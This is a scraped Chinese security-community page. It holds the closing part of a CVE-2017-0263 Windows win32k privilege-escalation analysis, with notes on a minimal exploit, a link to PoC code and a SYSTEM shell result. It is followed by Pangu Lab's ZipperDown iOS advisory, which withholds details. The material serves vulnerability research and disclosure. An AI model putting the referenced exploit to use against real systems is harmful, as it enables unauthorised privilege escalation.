可以观测到新启动的命令提示符已属于 System 用户身份。
* * *
**后记**
在本分析中构造验证代码和利用代码时，处理逻辑与原攻击样本的代码稍有差异。例如，攻击样本为了保证成功率，在代码中增加了暂时挂起全部线程的操作，还将菜单和子菜单的个数设定为
3 个，还有重试机制等。在本分析中为了实现最简验证和利用代码，对这些不必要的因素进行了省略。
#### 0x5 链接
本分析的英文版本：<https://xiaodaozhi.com/exploit/117.html>
本分析的 POC 下载
<https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2017-0263/x86.cpp>
Kernel Attacks through User-Mode Callbacks
<http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf>
从 Dump 到 POC 系列一: Win32k 内核提权漏洞分析
<http://blogs.360.cn/blog/dump-to-poc-to-win32k-kernel-privilege-escalation-vulnerability/>
TrackPopupMenuEx function (Windows)
<https://msdn.microsoft.com/en-us/library/windows/desktop/ms648003(v=vs.85).aspx>
sam-b/windows_kernel_address_leaks
<https://github.com/sam-b/windows_kernel_address_leaks>
Sednit adds two zero-day exploits using 'Trump's attack on Syria' as a decoy
<https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/>
EPS Processing Zero-Days Exploited by Multiple Threat Actors
<https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html>
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
# 重大漏洞预警 | 疑似影响过万iOS应用的ZipperDown漏洞来了！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞简介 ZipperDown
盘古实验室在针对不同客户的iOS应用安全审计过程中，发现了一类通用的安全漏洞。创建漏洞指纹后，我们在[Janus平台](https://www.appscan.io/)上进行溯源分析和相似漏洞检索，结果发现约10%的iOS应用可能受此漏洞的影响。经过手工分析，我们确认微博、陌陌、网易云音乐、QQ音乐、快手等流行应用受影响。
漏洞演示视频中，用户在不安全WiFi环境里下载并使用微博；攻击者利用该漏洞获取了微博应用中任意代码执行能力。
## 漏洞细节 ZipperDown
目前，为保证用户安全，漏洞细节暂不对外公开。由于漏洞影响范围之广，我们无法逐一验证所有疑似受影响的应用，也无法逐一通告给所有疑似受影响的应用开发者。因此，我们通过公布疑似受影响漏洞列表的方式，邀请开发者和我们协同排查此漏洞。
如果你是疑似受影响App的开发者，请与我们联系，我们会告诉你漏洞细节并辅助你进行ZipperDown漏洞的排查。
## ZipperDown漏洞影响范围
通过对收集到的168,951个iOS应用的查询，我们发现15,979个应用可能受此漏洞的影响，占比高达10%。
## ZipperDown漏洞细节
目前，为保证用户安全，漏洞细节暂不对外公开。由于漏洞影响范围之广，我们无法逐一验证所有疑似受影响的应用，也无法逐一通告给所有疑似受影响的应用开发者。因此，我们通过公布疑似受影响漏洞列表的方式，邀请开发者和我们协同排查此漏洞。
如果你是疑似受影响App的开发者，请与我们联系，我们会告诉你漏洞细节并辅助你进行ZipperDown漏洞的排查。
您的浏览器不支持video标签
****
## Q&A
**1\. ZipperDown漏洞影响了多少应用？**
通过对收集到的168,951个iOS应用的查询，我们发现15,979个应用可能受此漏洞的影响，占比高达10%。疑似受影响的应用可通过
**zipperdown.org** 进行查看。
**2\. 我是Android用户，是否受ZipperDown影响？**
我们在Android平台同样发现了类似漏洞，并且已经在大量流行应用中确认。Android平台的ZipperDown漏洞分析报告敬请期待。
**3\. ZipperDown漏洞有什么危害？**
ZipperDown漏洞危害与受影响应用功能及权限相关。在某些应用中，攻击者仅能利用ZipperDown漏洞破坏应用数据；但在某些应用中，攻击者也可能获取任意代码执行能力（参考漏洞演示视频）。此外，iOS系统的沙箱等也会限制ZipperDown漏洞的攻击范围。
**4\. 如何来检测ZipperDown漏洞？**
通过指纹匹配可以获取疑似受影响的应用列表。但该漏洞形态灵活、变种类型多样，指纹匹配的漏报率很高。所以我们建议通过人工分析的方式确认漏洞是否存在。
**5\. ZipperDown漏洞如何触发？**
ZipperDown漏洞攻击场景与受影响应用业务场景相关。常见攻击场景包括：在不安全网络环境下使用受影响应用、在攻击者诱导下使用某些应用功能等。
**6\. ZipperDown漏洞是如何被发现的？**
盘古实验室在为客户提供的iOS应用安全审计业务中，注意到不同客户的iOS应用中普遍存在ZipperDown问题；进一步借助Janus平台，发现该漏洞影响iOS和Android平台上大量应用。因此我们把该漏洞认定为一个通用型漏洞，对外公布疑似受影响应用列表。
**7\. 关于我们**
盘古实验室是上海犇众信息技术有限公司组建的以盘古团队为核心的安全实验室。实验室在移动互联网领域开展了广泛的安全研究，深入分析了各种移动设备的硬件、系统、应用和网络各层的安全架构，研究发现移动互联网大量潜在安全问题的同时，在高级防御技术及解决方案等方向上形成了一系列成果和产品。
**疑似受影响应用列表**
可通过 **zipperdown.org** 进行查看。 | 社区文章 |
Subsets and Splits